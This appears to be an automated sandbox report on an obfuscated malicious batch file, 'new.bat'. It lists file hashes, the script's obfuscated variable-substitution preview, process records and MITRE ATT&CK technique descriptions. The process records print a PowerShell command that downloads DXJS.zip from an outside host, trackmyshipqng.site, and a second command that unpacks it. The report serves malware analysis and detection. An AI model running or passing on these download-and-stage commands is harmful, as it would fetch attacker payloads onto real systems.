SHA-256:	7C5957583C56A0A266306FEEA0F6B4FA609B9EEA832871BE1A888410F2BFB6FF
SHA-512:	E002942399DE18CE10BF156FD79BEE4A43432734532768F9A11ED681EFD31F9CAC89A287FD17F9C00923517C7AACC55B0A18DBCF274BE4F577A4E5679FC938B4
Malicious:	false
Preview:	2024/08/28-12:59:28.315 1df0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/08/28-12:59:28.317 1df0 Recovering log #3.2024/08/28-12:59:28.317 1df0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	26604
Entropy (8bit):	5.0530691163715815
Encrypted:	false
SSDEEP:	768:CinHzwiNKe/NZotAHk4VlOdB5cCYoUV3IpNBQkj29YQhjdardFwOkMx:CinHzwiNKeItAHk4VlOdB5cCYoUV3CNX
MD5:	F368C3BCBBDF0322FD03ADCB0D5E8417
SHA1:	A0018AC625712EA193C8E22EAC91FBC9A04DA22C
SHA-256:	C2821B7CA54A82343B049D2DA5C68493CB0D26DA0F3C236AD1EC545E2442B167
SHA-512:	D6E2B06EEF4FE0FDDDADCE69A785153B2DB77D25D738914521556B6C0497293C49FFD98E85D05C9B3340CA7DF69F0F9A8D775A88861CC92EC1698087DD81F9AC
Malicious:	false
Preview:	PSMODULECACHE.(.......z..I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1........Add-MpPreference........Get-MpThreatCatalog........Get-MpThreat........Update-MpSignature........Remove-MpPreference........Get-MpPreference........Get-MpThreatDetection........Set-MpPreference........Get-MpComputerStatus........Start-MpScan........Start-MpWDOScan........Remove-MpThreat.........wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerSh

File type:	Unicode text, UTF-16, little-endian text, with very long lines (14558), with no line terminators
Entropy (8bit):	0.021673712535107987
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	new.bat
File size:	19'922'944 bytes
MD5:	4269b91b4c2c00e8d28345e3cc6cf1a9
SHA1:	d4ebd822c7bb237127df4bebd9e176938060286c
SHA256:	545687c9f5fcfba81ee854cc83694b5b2e27f9e16e435662b5194d45d07e0f57
SHA512:	f2cd2c5dafa855e2f1fa07112d5810d2b1deb92a599e56375647ec97b405777a0785a2ba0ea2a8d468373301868c1dc4bb1f81a9d01dc638c6d763c6ffc98aa1
SSDEEP:	384:DKD/JsA+gpLPeXyo5eGG0cqsOFHfxDkwce1FbYk9DQnRDwq6QEZjnuHkFhFylhNY:xqrDo5Aai
TLSH:	F7170F680BC34B4FF24D847DA34306256DBAA8BEAF69F496845FBD7C289D3099173314
File Content Preview:	..&@cls&@set ".y.=dPZqo27BbK3SnlvQ0e48fICtXhgJTcuysAHr5wM1p9 jFDkR@amiNzEGWLxOU6YV"..%.y.:~48,1%%.y.:~17,1%%.y.:~29,1%%.y.:~25,1%%.y.:~4,1%%.y.:~42,1%%.y.:~4,1%%.y.:~20,1%%.y.:~20,1%%...z.C.%..%.y.:~32,1%%.y.:~17,1%%.y.:~23,1%%.y.:~13,1%%.y.:~4,1%%.y.:~29

Target ID:	0
Start time:	12:59:23
Start date:	28/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "
Imagebase:	0x7ff6a0e80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	12:59:24
Start date:	28/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	12:59:27
Start date:	28/08/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	16
Start time:	13:00:30
Start date:	28/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre